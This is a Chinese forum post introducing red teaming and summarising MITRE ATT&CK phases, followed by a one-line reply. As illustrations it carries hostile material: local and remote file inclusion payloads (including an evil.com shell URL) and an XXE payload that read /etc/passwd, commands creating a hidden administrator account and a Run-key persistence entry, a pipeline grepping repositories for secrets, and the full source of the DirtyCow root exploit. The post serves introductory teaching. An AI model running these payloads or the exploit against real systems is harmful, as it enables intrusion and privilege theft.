设为首页收藏本站
查看: 4479|回复: 1

[原创] 红队入门记录:-初识

[复制链接]
  • TA的每日心情
    开心
    2022-1-9 18:41
  • 签到天数: 5 天

    [LV.2]偶尔看看I

    发表于 2021-9-13 11:47:27 | 显示全部楼层 |阅读模式
    备注
    首发地址:https://sec-in.com/article/1132
    以下内容根据自身所学与理解进行汇总后,以文章的形式进行叙述分享,若有不当之处希望留言反馈,共同学习共同进步。


    定义
    "红队"是一种网络安全评估技术其中一方的代称,它通过模拟实际攻击者的方式来衡量被测对象现有的安全能力但这种攻击所造成的影响是可控的并且所使用的技术也存在一些限制。

    这种评估技术以军事训练演习为模型,组织一场模拟演习,这种演习是两支训练有素的网络安全专业人员队伍之间的对决:一支是使用真实攻击者所用技术进行攻击的红队,另一支是由防守方相关人员组成的蓝队(因组成比较复杂就不细说),负责识别、评估和应对入侵。以帮助衡量一个组织在多大程度上能够抵御当今的网络威胁和恶意行为以及其自身的恢复与溯源能力。

    有个电影很好的演示了类似的行动:《无懈可击》 (2007)
    1. 剧情简介
    2. 西北某战区,一场旨在检验和提高我军协同作战的高技术合成演习“07任务”,进入最后二十四小时倒计时。演习导演部总指挥向全体参演部队发布命令前,指挥所信息中心指挥系统发现有“黑客”入侵。“黑客”通过远程控制,已经完全进入“07任务”,指挥部发布的所有命令将受到来自“黑客”的干扰和破坏。 演习还没有开始,指挥系统就遭到“黑客”袭击,此时无论是延迟“07任务”和停闭指挥系统,都将宣告演习失败。紧急关头,在总部远程控制方面的专家纪参谋和赵参谋陪同首长出国的情况下,指挥所信息中心戴天明组长想到了一个人:方颖。方颖是我军西北通信学院刚刚毕业的博士生,远程控制方面的专家。为查找“黑客”,破译“黑客”密码,即将出国参加国际信息研讨会的方颖被他的男朋友、也是信息中心作战参谋的姚力驾驶直升机中途拦截。来到指挥所,方颖发现要想找到隐藏的“黑客”,只有进入“07任务”信息终端。然而,在演习开始前二十四小时要想进入“07任务”终端,绝非易事。知难而进的戴天明、姚力和方颖整装出发,强行通过“07任务”外围检查站,利用戈壁滩上两个偷猎者的汽车,巧妙接近“07任务”发射终端。戴天明的行动在信息全部静默的情况下,遭到指挥部警卫连的追捕。在三个人随时都面临着被狙击手击毙的危险时,姚力巧妙引开追捕分队,帮助戴天明和方颖进入“07任务”发射终端。 然而,方颖很快就发现“黑客”也是远程控制方面的高手。尽管方颖的努力,有效地阻止了“黑客”的干扰和破坏,但要想确保演习成功,惟一的办法就是将隐藏的“黑客”抓获。通过“07任务”终端,方颖进入“黑客”的程序,锁定了一名“黑客”。 姚力和方颖“内外”联手锁定目标时,“黑客”已经人去车空,“07任务”依然被逃逸的“黑客”所控制。此时,海军的一枚导弹已经被“黑客”修改弹道,直接飞向“07任务”指挥所。千钧一发之际,方颖和姚力携手作战将“黑客”抓捕,修改导弹弹道化险为夷。“黑客”显身时,姚力才知道,“黑客”原来就是总部的纪参谋,而“黑客”袭击也是导演部设置的演习中的一部分。至此,指挥系统恢复正常,浩大的演习准时开始。
    复制代码

    这里形象的描述了红队攻击者所用的手段与干扰防守方进行溯源跟踪、防守方是如何防御与溯源攻击者的,以及演习中的意外事件,有真正的攻击者在进行攻击,真实的防守方在与其对抗。

    而其它的红队定义,由于某些原因就不进行叙述了。
    好处
    它所带来的利益汇总如下:

    • 确定与人员、技术和系统相关的安全隐患
    • 确定攻击链各个阶段防御事件响应流程中需要改进的地方
    • 构建组织关于如何检测和遏制攻击者的第一手经验
    • 提高安全人员之间的良性竞争,促进IT和安全团队之间的合作
    • 提高员工安全意识

    表层解析
    在红队/蓝队网络安全模拟中,红队作为攻击方,试图使用复杂的攻击技术来识别和利用防守方网络防御中的潜在弱点。这些攻击团队通常由经验丰富的安全专业人员或独立的道德黑客(ethical hackers:关于道德黑客可单独搜索相关资料进行学习,国外有相关的培训与书籍)组成,他们通过使用类似真实攻击者的攻击技术和方法,进行攻击行为。

    红队通常通过窃取用户凭证或社会工程技术获得初始访问权(每年都会听说过某某被社工,感觉防不胜防啊)。一旦进入网络,红队提升其特权,横向跨系统移动,目标是尽可能深入网络,在避免被发现的同时窃取数据。
    具体好处
    红队是指系统地、严格地(但符合道德规范地)确定攻击路径,通过攻击技术(此攻击技术可能已被攻击者掌握)突破防守方的防御机制。在采用这种对抗性方法时,防守方的防御不是基于安全工具和系统的理论能力,而是基于它们在真实世界威胁下的实际表现。红队可用来检测与评估防守方的预防、检测和补救能力。

    理想情况下,红队有助于防守方单位或某些名称识别人员、流程和技术中的脆弱点,以及查明安全漏洞,如后门和安全体系结构中可能存在的其他漏洞。这些信息最终将帮助加强他们的防御,并帮助他们的安全团队,可更好地应对实际中的网络威胁。
    所用技术
    红队使用各种技术和工具来利用安全体系结构中的漏洞。例如,在攻击时时,红队成员可能会用恶意软件感染防守方的主机,以关闭安全防御机制(关闭之后方便进一步攻击而不让防守方察觉)或使用社会工程技术窃取访问凭证(账号、密码之类的东西)。

    红队活动通常遵循MITRE ATT&CK框架,这是一个基于现实世界经验和事件的全球可访问的攻击者战术、技术和方法的知识库。该框架作为预防、检测和响应能力发展的基础,可以根据每个组织的独特需求和威胁环境的变化进行自定义修改。例如:

    渗透测试:红队成员尝试使用各种现实世界攻击者会用到的的技术来访问指定的系统,以达到某些目的,用来证明攻击目标某个地方存在安全隐患。

    通信拦截:以绘制网络地图或获取更多环境信息某些电子凭证),从而规避常见的防御手段。这里想起某些影视剧的案例,在电话线上搭了几根线可以窃听谈话或使用这根线进行打电话、或伪装成实际的接收者(实际接收者那边啥也没收到)接收某些重要数据。

    社会工程学:红队成员利用人的弱点,以达到某些目的,如达到常规无法到达的地方,获得某些凭证(电子令牌、账号密码之类的)用来证明防守方员工安全意识不够存在可被攻击者利用进而造成"破坏"(泄露某些机密、破坏某些重要数据等等,意义很多这里我就用“破坏”概括)的隐患。

    0day攻击:使用某些产品未纰漏的安全漏洞进行网络攻击,以达到某些目的,用来证明攻击目标某个产品存在安全隐患,可造成“破坏”。
    常规目标
    一个红队可以由两个人组成,也可以扩大到20多人,这取决于任务的情况。这就是最重要的一点--确保你的团队是为手头的任务而建立的。寻找有经验的、有独特思路的人员来组成你的团队的核心,并继续用多样化的技能组合来建立它。红队应该与你的漏洞评估和渗透测试一起使用,以实现其全部价值,常根据以下方向进行完善:
    • 具备一定的条件
      红队成员需要一种开放的学习文化,能够不断地培训和提高他们的技能。这些人员都是非常有技能的专业人士,喜欢挑战不同的工作环境。也就是说,应该计划提供一种开放的学习文化,让你能够不断尝试新事物,提高技能。这为有道德的黑客创造了一个有吸引力的环境,并将吸引他们加入一个不是所有事情都以“千篇一律”的方式完成的团队。当涉及到渗透测试背后的不同策略和整个环境中的提示事,鼓励在力所能及的范围内推动标准,从长远来看,将创造一个多样化和更好的团队。
    • 设定明确的目标

      当你第一次意识到你有办法建立一个红队时,首先建立你的团队目的。如果这是在事后才计划的,你将无法衡量其成功与否。
    • 获得正确的工具
    • 红队的工作不仅仅是渗透测试。确保你的团队拥有正确的测试、漏洞管理和任何其他所需的评估工具,以完成这项工作。团队成员可能有使用不同工具完成相同任务的经历--因此,从商业角度来看,确保你没有重复使用可以做同样事情的工具也很重要。
    • 专注于关键问题

      红队应该产生高质量的思考和建议,而不是常规的结果。因此,要确保你正在利用你的红队来完成他们被雇用的任务。这一切都要回到建立团队前的目标。考虑到这一点,要知道当他们完成一个项目时,他们很可能已经进入下一个项目。

      关键问题对很多不同的公司来说可能意味着很多不同的事情。确保团队了解手头的优先事项,围绕着日常工作是不稳定的,因为它可以改变,取决于你的基础设施中存在什么威胁。记住,如果你想要的只是一份漏洞报告,你需要的是一个扫描仪,而不是一个红队。这个团队是来处理你最紧迫的问题的,不管它们是什么,也不管它们何时出现。
    • 攻击要有效并适度

      在演示中因为只是演习,需要注意执行后的结果是否可控,及验证存在隐患,又要控制验证所造成的影响,若影响很大无法控制,那就是不是演习而是攻击了。

    MITRE ATT&CK框架简析
    事前勘查
    侦察包括包括攻击方主动或被动收集信息的技术,这些信息可用于支持目标的定位。这些信息可能包括防守方组织、基础设施或工作人员的详细信息。攻击方可以利用这些信息来帮助攻击方MITRE ATT&CK框架的其他阶段,例如使用收集到的信息来计划和执行初始访问,确定目标的范围和优先级,或者执行进一步的侦察工作。

    相关方向列举:

    企业信息

    Index 只是一个举例有很多类似的工具或网站

    效果:

    • Whois反查
      在站长之家或使用如下命令进行查询,类似方法很多就不一 一列举了

      1. amass intel -src -whois -d 域名
      2. 示例:amass intel -src -whois -d sec-in.com
      复制代码

    • 子域名
      1. amass enum -passive -src -d 域名
      2. 示例:amass enum -passive -src -d sec-in.com
      复制代码

    • IP地址
      1. nmap -sn 192.168.1.0/24
      复制代码

    • Github信息探测
      1. #查找目标组织拥有的 repos(非forked的)
      2. #然后在本地克隆这些转发
      3. [code]curl -s https://api.github.com/users/$domain/repos | grep 'full_name\|fork"' \
      4. | cut -d " " -f6 | cut -d "/" -f2 | cut -d '"' -f1 | cut -d "," -f1 | \
      5. while read line1; do read line2; echo $line1 $line2; done | \
      6. grep false | cut -d " " -f1 | while read repo;
      7. do git clone https://github.com/$domain/$repo; done
      复制代码


      # 使用git查找repos中的敏感数据
      cd repo-name
      git log -p > commits.txt
      cat commits.txt | grep "api\|key\|user\|uname\|pw\|pass\|mail\|credential\|login\|token\|secret\|"

      #使用trufflehog查找repos中的敏感数据
      trufflehog --regex --entropy=False repo-name

      #查找目标组织拥有的 repos(非forked的)
      #然后在本地克隆这些转发
      curl -s https://api.github.com/users/$domain/repos | grep 'full_name\|fork"' \
      | cut -d " " -f6 | cut -d "/" -f2 | cut -d '"' -f1 | cut -d "," -f1 | \
      while read line1; do read line2; echo $line1 $line2; done | \
      grep false | cut -d " " -f1 | while read repo;
      do git clone https://github.com/$domain/$repo; done

      # 使用git查找repos中的敏感数据
      cd repo-name
      git log -p > commits.txt
      cat commits.txt | grep "api\|key\|user\|uname\|pw\|pass\|mail\|credential\|login\|token\|secret\|"

      #使用trufflehog查找repos中的敏感数据
      trufflehog --regex --entropy=False repo-name[/code]
    • 领英或其它平台信息
    • 已泄露的数据
    • 攻击方可能会在防守方拥有的网站上搜索可在目标锁定过程中使用的信息。防守方拥有的网站可能包含各种详细信息,包括部门名称、物理位置以及关键员工的数据,如姓名、职位和联系信息(例如:电子邮件地址)。这些网站还可能有突出业务运营和关系的细节。

    资源开发
    资源开发包括涉及攻击方创建、购买或破坏/窃取可用于支持目标的资源的技术。这种资源包括基础设施、账户或武器。这些资源可以被攻击方利用来帮助攻击方MITRE ATT&CK框架的其他阶段,例如使用购买的域名来支持指挥和控制,使用电子邮件账户作为初始访问的一部分进行网络钓鱼,或偷窃代码签名证书来帮助防御规避。

    相关方向列举:
    • 漏洞利用程序开发
    • 免杀程序
    • 钓鱼程序
    • 信息收集程序
    • 0day
    • Nday利用框架
    • 社工资料库
    • 等等

    开发成果示例:

    攻击方可能会将链接所引用的资源放在适当的位置,以便在锁定目标时使用。攻击方可能依靠用户点击一个恶意链接来泄露信息(包括证书)或获得执行,如恶意链接。链接可用于网络钓鱼,如发送一封电子邮件,并伴有社会工程文本,以哄骗用户主动点击或在浏览器中复制和粘贴一个URL。在网络钓鱼获取信息(如钓鱼链接)或网络钓鱼获得对系统的初始访问(如钓鱼链接)之前,但攻击方必须为钓鱼链接的链接目标设置资源,这一资源可能会暴露攻击方所在而被防守方利用,利用这一性质攻击方常根据这一特性诱惑防守方溯源而到达某些目的。

    初始访问
    初始访问包括使用各种进入载体在网络中获得初始立足点的技术。用于获得立足点的技术包括有针对性的网络钓鱼攻击和利用面向公众的网络服务器的弱点。通过初始访问获得的立足点可能允许持续访问,如有效账户和使用外部远程服务,也可能由于改变密码而被限制使用。

    相关方向列举:
    • 社会工程
      恶意连接,调用邮件,恶意附件、招聘简历、真人社工、电话欺骗攻击等等。
    • Spawn Shell
    • 反弹shell 、交互shell等等
    • 服务方利用
    • 漏洞利用程序测试
    • 网络应用测试

      测试每个入口点是否存在漏洞(xss、SSRF、LFI(本地文件包含漏洞)、注入、命令执行漏洞、组件漏洞等等)

      LFI测试方向示例:
      1. 文件名称=../../../../../../../../../etc/passwd
      2. 文件名称=..\..\..\..\..\..\..\..\..\windows\win.ini
      3. 文件名称=http://evil.com/shell.txt
      4. 文件名称=/etc/passwd
      5. 文件名称=....//....//....//....//....//....//etc/passwd
      6. 文件名称=../../../../../../etc/passwd%00.png
      7. 文件名称=http://evil.com/shell.txt%00
      8. 文件名称=HTTP://evil.com/shell.txt
      9. 文件名称=php://filter/resource=/etc/passwd
      10. 文件名称=php://filter/convert.base64-encode/resource=/etc/passwd
      复制代码

      XML 外部实体注入方向示例:
      1. <?xml version="1.0" encoding="UTF-8"?>
      2. <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
      3. <stockCheck><productId>&xxe;</productId></stockCheck>
      复制代码

    • 移动应用测试
      逆向分析、组件漏洞、信息泄露、服务端漏洞、常规安全测试

      漏洞扫描示例:


    恶意代码
    包括可以让攻击方控制的代码在本地或远程系统上运行的技术。运行恶意代码的技术通常与所有其他战术的技术配对,以实现更广泛的目标,如探索网络或窃取数据。例如,攻击方可能使用远程访问工具来运行一个PowerShell脚本,进行远程系统探索

    相关方向列举:

    • 命令和脚本方向,比如:PowerShell、脚本、Windows Shell、Unix Shell、python恶意代码
    • 包含恶意代码的文件
    • 等等

    方向示例

    攻击方可能依靠用户打开一个恶意文件来让恶意代码运行。用户可能会受到社会工程的影响,让他们打开一个会导致代码执行的文件。攻击者可能使用几种需要用户执行的文件类型,

    包括:doc、.pdf、.xls、.rtf、.scr、.exe、.lnk、.pif和.cpl等等。
    可持续性
    包括攻击方用来保持对系统的访问,跨越重启、改变凭证和其他可能切断其访问的中断的技术。用于持久性的技术包括任何访问、行动或配置的改变,使他们能够保持在系统上的立足点,如替换或劫持合法代码或添加启动代码。

    • 相关方向列举:
    • 创建隐藏账号
    • 引导文件修改、自启动脚本、事件触发执行、计划任务
    • 恶意插件
    • 文件感染、劫持
    • 等等

    Windows创建隐藏账号示例:

    1. 创建:net user sec-in$ 123456 /add  
    2. 添加到管理员用户组:net localgroup administrators sec-in$ /add

    3. 类似的工具:HideAdmin
    复制代码

    注册表添加示例:
    1. REG ADD HKEY_CURRENT_USER\SOFTWARE\Microsoft\CurrentVersion\Run /v 1 /d "路径/恶意程序"
    复制代码

    权限提升
    包括攻击方用来获得系统或网络上更高层次权限的技术。攻击方通常可以用非特权访问权进入和探索一个网络,但需要更高的权限来实现他们的目标。常见的方法是利用系统的弱点、错误的配置和漏洞。

    相关方向列举:
    • 系统自身提权机制
    • 系统权限漏洞
    • 凭证伪造
    • 内核漏洞攻击
    • 创建或修改系统进程
    • 域策略修改
    • 事件触发执行、计划任务
    • 软件漏洞
    • 注入、劫持攻击
    • 等等

    Linux 内核漏洞提权示例:
    1. // 注意:Linux内核需满足2.6.22 < 3.9
    2. // 这个漏洞使用了pokemon对dirtycow漏洞的利用作为基础,并自动生成一个新的passwd行.
    3. // 在运行二进制文件时,将提示用户输入新密码。
    4. // 原始的/etc/passwd文件随后被备份到/tmp/passwd.bak中,并用生成的覆盖root账户。
    5. // 运行漏洞利用后,您应该能够使用新创建的用户登录。
    6. //
    7. // 要使用此漏洞,请根据您的需要修改用户值。
    8. //   默认为 "firefart".
    9. //
    10. // 原始漏洞 :https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
    11. //
    12. // 编译时要注意:
    13. //   gcc -pthread dirty.c -o dirty -lcrypt
    14. //
    15. // 然后通过以下两种方式运行:
    16. //   "./dirty" 或 "./dirty my-new-password"
    17. //
    18. // 然后,你可以选择 "su firefart" 或"ssh firefart@..."
    19. //
    20. // 运行EXPLOIT后,不要忘了恢复你的/etc/passwd!
    21. //   mv /tmp/passwd.bak /etc/passwd
    22. //


    23. #include <fcntl.h>
    24. #include <pthread.h>
    25. #include <string.h>
    26. #include <stdio.h>
    27. #include <stdint.h>
    28. #include <sys/mman.h>
    29. #include <sys/types.h>
    30. #include <sys/stat.h>
    31. #include <sys/wait.h>
    32. #include <sys/ptrace.h>
    33. #include <stdlib.h>
    34. #include <unistd.h>
    35. #include <crypt.h>

    36. const char *filename = "/etc/passwd";
    37. const char *backup_filename = "/tmp/passwd.bak";
    38. const char *salt = "firefart";

    39. int f;
    40. void *map;
    41. pid_t pid;
    42. pthread_t pth;
    43. struct stat st;

    44. struct Userinfo {
    45.    char *username;
    46.    char *hash;
    47.    int user_id;
    48.    int group_id;
    49.    char *info;
    50.    char *home_dir;
    51.    char *shell;
    52. };

    53. char *generate_password_hash(char *plaintext_pw) {
    54.   return crypt(plaintext_pw, salt);
    55. }

    56. char *generate_passwd_line(struct Userinfo u) {
    57.   const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
    58.   int size = snprintf(NULL, 0, format, u.username, u.hash,
    59.     u.user_id, u.group_id, u.info, u.home_dir, u.shell);
    60.   char *ret = malloc(size + 1);
    61.   sprintf(ret, format, u.username, u.hash, u.user_id,
    62.     u.group_id, u.info, u.home_dir, u.shell);
    63.   return ret;
    64. }

    65. void *madviseThread(void *arg) {
    66.   int i, c = 0;
    67.   for(i = 0; i < 200000000; i++) {
    68.     c += madvise(map, 100, MADV_DONTNEED);
    69.   }
    70.   printf("madvise %d\n\n", c);
    71. }

    72. int copy_file(const char *from, const char *to) {
    73.   // check if target file already exists
    74.   if(access(to, F_OK) != -1) {
    75.     printf("File %s already exists! Please delete it and run again\n",
    76.       to);
    77.     return -1;
    78.   }

    79.   char ch;
    80.   FILE *source, *target;

    81.   source = fopen(from, "r");
    82.   if(source == NULL) {
    83.     return -1;
    84.   }
    85.   target = fopen(to, "w");
    86.   if(target == NULL) {
    87.      fclose(source);
    88.      return -1;
    89.   }

    90.   while((ch = fgetc(source)) != EOF) {
    91.      fputc(ch, target);
    92.    }

    93.   printf("%s successfully backed up to %s\n",
    94.     from, to);

    95.   fclose(source);
    96.   fclose(target);

    97.   return 0;
    98. }

    99. int main(int argc, char *argv[])
    100. {
    101.   // backup file
    102.   int ret = copy_file(filename, backup_filename);
    103.   if (ret != 0) {
    104.     exit(ret);
    105.   }

    106.   struct Userinfo user;
    107.   // set values, change as needed
    108.   user.username = "firefart";
    109.   user.user_id = 0;
    110.   user.group_id = 0;
    111.   user.info = "pwned";
    112.   user.home_dir = "/root";
    113.   user.shell = "/bin/bash";

    114.   char *plaintext_pw;

    115.   if (argc >= 2) {
    116.     plaintext_pw = argv[1];
    117.     printf("Please enter the new password: %s\n", plaintext_pw);
    118.   } else {
    119.     plaintext_pw = getpass("Please enter the new password: ");
    120.   }

    121.   user.hash = generate_password_hash(plaintext_pw);
    122.   char *complete_passwd_line = generate_passwd_line(user);
    123.   printf("Complete line:\n%s\n", complete_passwd_line);

    124.   f = open(filename, O_RDONLY);
    125.   fstat(f, &st);
    126.   map = mmap(NULL,
    127.              st.st_size + sizeof(long),
    128.              PROT_READ,
    129.              MAP_PRIVATE,
    130.              f,
    131.              0);
    132.   printf("mmap: %lx\n",(unsigned long)map);
    133.   pid = fork();
    134.   if(pid) {
    135.     waitpid(pid, NULL, 0);
    136.     int u, i, o, c = 0;
    137.     int l=strlen(complete_passwd_line);
    138.     for(i = 0; i < 10000/l; i++) {
    139.       for(o = 0; o < l; o++) {
    140.         for(u = 0; u < 10000; u++) {
    141.           c += ptrace(PTRACE_POKETEXT,
    142.                       pid,
    143.                       map + o,
    144.                       *((long*)(complete_passwd_line + o)));
    145.         }
    146.       }
    147.     }
    148.     printf("ptrace %d\n",c);
    149.   }
    150.   else {
    151.     pthread_create(&pth,
    152.                    NULL,
    153.                    madviseThread,
    154.                    NULL);
    155.     ptrace(PTRACE_TRACEME);
    156.     kill(getpid(), SIGSTOP);
    157.     pthread_join(pth,NULL);
    158.   }

    159.   printf("Done! Check %s to see if the new user was created.\n", filename);
    160.   printf("You can log in with the username '%s' and the password '%s'.\n\n",
    161.     user.username, plaintext_pw);
    162.     printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
    163.     backup_filename, filename);
    164.   return 0;
    165. }
    复制代码

    防御规避
    包括攻击方在整个入侵过程中用来规避检测的技术。用于规避防御的技术包括卸载/禁用安全软件或混淆/加密数据和脚本。攻击方还利用和滥用受信任的进程来隐藏和伪装其恶意软件。

    相关方向列举:
    • 绕过用户帐户控制
    • 映像攻击
    • 关闭防护软件或加入白名单
    • 代码混淆
    • 域策略修改
    • 免杀或绕过技术
    • 文件权限修改
    • 应用劫持、注入或无文件攻击
    • 执行非常见命令
    • 数字签名伪造
    • 等等

    方向示例;

    攻击方可以通过在XSL文件中嵌入脚本来绕过应用程序的控制并掩盖代码的执行。XSL文件通常用于描述XML文件中数据的处理和渲染。为了支持复杂的操作,XSL支持各种语言的嵌入式脚本。

    凭证获取
    包括攻击方窃取账户名和密码等凭证的技术。用于获取凭证的技术包括键盘记录或凭证转储。使用合法的凭证可以让对手进入系统,使他们更难被发现,并提供机会创建更多的账户来帮助实现他们的目标。

    相关方向列举:
    • 爆破方式获得账号密码
    • 来自密码库的凭证
    • 破解认证机制
    • 凭证伪造
    • 输入捕捉
    • 中间人窃取
    • 修改认证过程
    • 网络嗅探
    • 等等

    嗅探结果示例:

    探索发现
    包括攻击方可能用来获得关于系统和内部网络的知识的技术。这些技术帮助攻击方观察环境,并在决定如何行动之前确定自己的方向。它们还允许攻击方探索他们可以控制的东西,以及他们进入点周围的东西,以便发现它如何有利于攻击方当前的目标。原生操作系统工具经常被用来实现这种破坏后的信息收集目标。

    相关方向列举:
    • 账号密码信息
    • 网页书签、历史记录,存储的cookie
    • 域信任
    • 文件和目录结构
    • 网络服务扫描
    • 网络贡献信息
    • 密码创建策略
    • 程序运行进程
    • 远程连接账号
    • 已删除文件
    • 系统信息
    • 等等

    Nmap测试示例:
    1. // LDAP 服务
    2. nmap -Pn -sS -p389 --open -iL 目标.txt

    3. // SMB 服务
    4. nmap -Pn -sS -p139,445 --open -iL 目标.txt

    5. // SSH & Telnet
    6. nmap -Pn -sS -p22,23 --open -iL 目标.txt

    7. // Web 服务
    8. nmap -Pn -sS -p80,443 --open -iL 目标.txt

    9. // SNMP 服务
    10. nmap -Pn -sU -p161,162 --open -iL 目标.txt
    复制代码

    横向运动
    包括攻击方用来进入和控制网络上的远程系统的技术。贯彻攻击方的主要目标往往需要探索网络以找到攻击方的目标,并随后获得访问权。要达到攻击方的目标,往往需要通过多个系统和账户的转动来获得。攻击方可能会安装他们自己的远程访问工具来完成横向移动,或者使用合法的凭证与本地网络和操作系统工具,这可能更隐蔽。

    相关方向列举:
    • 利用远程服务
    • 内部网络钓鱼
    • 横向攻击工具传输
    • 远程服务会话劫持
    • 外接设备
    • 软件部署工具

    在内网一台机器上使用goby进行资产收集与漏洞扫描示例:


    信息收集
    包括攻击方可能用来收集信息的技术和收集信息的来源,这些信息与贯彻对手的目标有关。通常,收集数据后的下一个目标是数据窃取。常见的目标来源包括各种驱动器类型、浏览器、音频、视频和电子邮件。常见的收集方法包括抓取屏幕截图和键盘输入。

    相关方向列举:

    • 收集到的数据存档
    • 音频捕获
    • 信息自动收集系统
    • 剪贴板数据
    • 云端数据
    • 来自配置存储库的数据
    • 来自本地系统的数据
    • 等等

    方向示例:

    攻击方可以利用计算机的外接设备(如集成摄像头或网络摄像头)或应用程序(如视频通话服务)来捕捉视频记录,以收集信息。图像也可以从设备或应用程序中捕获,可能是在指定的时间间隔内,以代替视频文件。
    命令控制
    包括攻击方可能用来与受害者网络中他们控制的系统进行通信的技术。攻击方通常试图模仿正常的、预期的通信,以避免被发现。根据防守方的网络结构和防御措施,攻击方有许多方法执行命令进行控制,并具有不同程度的隐蔽性。

    相关方向列举:
    • 协议相关方向入手,比如:应用协议、网络协议、文件传输协议、邮件协议
    • 数据相关方向入手,比如:数据编码、数据混淆、干扰数据、隐写术、花指令隐藏恶意代码
    • 网络服务方向入手,比如:重定向、单向通信、双向通信
    • 等等

    相关方向示例:

    攻击方可能利用现有的、合法的外部网络服务作为向被破坏的系统发送指令的手段,而不通过网络服务渠道接收返回输出。被入侵的系统可能利用流行的网站和社交媒体来承载命令和控制(C2)指令。这些被感染的系统可能会选择通过不同的C2通道发送这些指令的输出,包括发送到另一个不同的网络服务。另外,在攻击方想向系统发送指令而不希望得到回应的情况下,被入侵的系统可能根本不返回任何输出。
    数据窃取
    包括攻击方可能用来从防守方的网络中窃取数据的技术。收集了数据,攻击方通常会对其进行包装,以避免在删除数据时被发现。这可能包括压缩和加密。从目标网络中获取数据的技术通常包括通过他们的命令和控制渠道或其他渠道传输数据,还可能包括对传输的大小进行限制。

    相关方向列举:

    • 数据拦截
    • 替换协议
    • 对称加密渗透
    • 网络介质渗透

    窃取示例:

    攻击方可能会通过将数据(包括云环境的备份)传输到他们在同一服务上控制的另一个云帐户来泄露数据,以避免典型的文件传输/下载和基于网络的泄露检测。
    产生影响
    包括攻击方通过影响业务和运营流程来破坏可用性或损害完整性的技术。用于影响的技术可能包括破坏或篡改数据。在某些情况下,业务流程可能看起来很好,但可能已经被修改以有利于对手的目标。这些技术可能被对手用来实现他们的最终目标,或者为数据窃取提供掩护。

    相关方向列举:

    • 重要数据泄露
    • 重要数据被加密
    • 重要系统无法使用
    • 磁盘被破坏或数据被抹除
    • 下载恶意文件
    • 主机被非法利用
    • 等等

    影响示例:

    攻击方可能会关闭/重新启动系统,以中断对这些系统的访问或协助销毁这些系统。操作系统可能包含启动机器关机/重新启动的命令。在某些情况下,这些命令还可用于启动远程计算机的关闭/重新启动。关闭或重新启动系统可能会中断合法用户对计算机资源的访问。

    结束语
    此篇文章简单的介绍了红队基本概念,所带来的好处,以及常用技术与MITRE ATT&CK框架简析。
  • TA的每日心情

    2022-8-2 15:05
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2022-8-2 15:17:04 | 显示全部楼层
    冲冲冲 !每天学一点,每天看一点!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    红盟社区--红客联盟 

    Processed in 0.063373 second(s), 21 queries.

    站点统计| 举报| Archiver| 手机版| 黑屋 |   

    备案号:冀ICP备20006029号-1 Powered by HUC © 2001-2021 Comsenz Inc.

    手机扫我进入移动触屏客户端

    关注我们可获取更多热点资讯

    Honor accompaniments. theme macfee

    快速回复 返回顶部 返回列表